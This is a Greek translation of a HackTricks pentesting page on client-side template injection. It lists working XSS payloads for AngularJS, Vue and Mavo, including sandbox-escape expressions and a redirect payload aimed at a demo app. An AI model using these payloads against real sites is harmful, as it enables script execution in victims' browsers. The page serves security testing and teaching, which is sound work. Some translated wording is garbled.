hacktricks/pentesting-web/client-side-template-injection-csti.md

8.8 KiB
Raw Blame History

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Περίληψη

Είναι σαν ένα Server Side Template Injection αλλά στο πελάτη. Το SSTI μπορεί να σας επιτρέψει να εκτελέσετε κώδικα στον απομακρυσμένο διακομιστή, το CSTI θα μπορούσε να σας επιτρέψει να εκτελέσετε αυθαίρετο κώδικα JavaScript στον browser του θύματος.

Η Δοκιμή για αυτή την ευπάθεια είναι πολύ παρόμοια με αυτήν του SSTI, ο διερμηνέας περιμένει ένα πρότυπο και θα το εκτελέσει. Για παράδειγμα, με ένα φορτίο όπως {{ 7-7 }}, αν η εφαρμογή είναι ευάθροτη θα δείτε ένα 0, και αν όχι, θα δείτε το αρχικό: {{ 7-7 }}

AngularJS

Το AngularJS είναι ένα δημοφιλές πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που ονομάζονται οδηγίες, ένα αξιοσημείωτο είναι το ng-app. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργαστεί το περιεχόμενο HTML, επιτρέποντας την εκτέλεση εκφράσεων JavaScript μέσα σε διπλά αγκύλες.

Σε περιπτώσεις όπου η είσοδος χρήστη εισάγεται δυναμικά στο σώμα HTML με ετικέτες ng-app, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα JavaScript. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενος τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρουσιάζονται παραδείγματα που δείχνουν πώς μπορεί να εκτελεστεί κώδικας JavaScript:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Μπορείτε να βρείτε ένα πολύ βασικό online παράδειγμα της ευπάθειας στο AngularJS στο http://jsfiddle.net/2zs2yv7o/ και στο Burp Suite Academy

{% hint style="danger" %} Το Angular 1.6 αφαίρεσε την αμμοθούρα έτσι από αυτήν την έκδοση ένα payload όπως {{constructor.constructor('alert(1)')()}} ή <input ng-focus=$event.view.alert('XSS')> θα πρέπει να λειτουργεί. {% endhint %}

VueJS

Μπορείτε να βρείτε μια ευάθροιστη υλοποίηση Vue στο https://vue-client-side-template-injection-example.azu.now.sh/
Λειτουργικό payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Και ο κώδικας πηγής του ευάθροιστου παραδείγματος εδώ: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Μια πολύ καλή ανάρτηση σχετικά με το CSTI στο VUE μπορεί να βρεθεί στο https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Πιστώσεις: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Πιστώσεις: Mario Heiderich

Ελέγξτε περισσότερα payloads VUE στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Περισσότερα φορτία στο https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Λίστα Ανίχνευσης Βίας

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: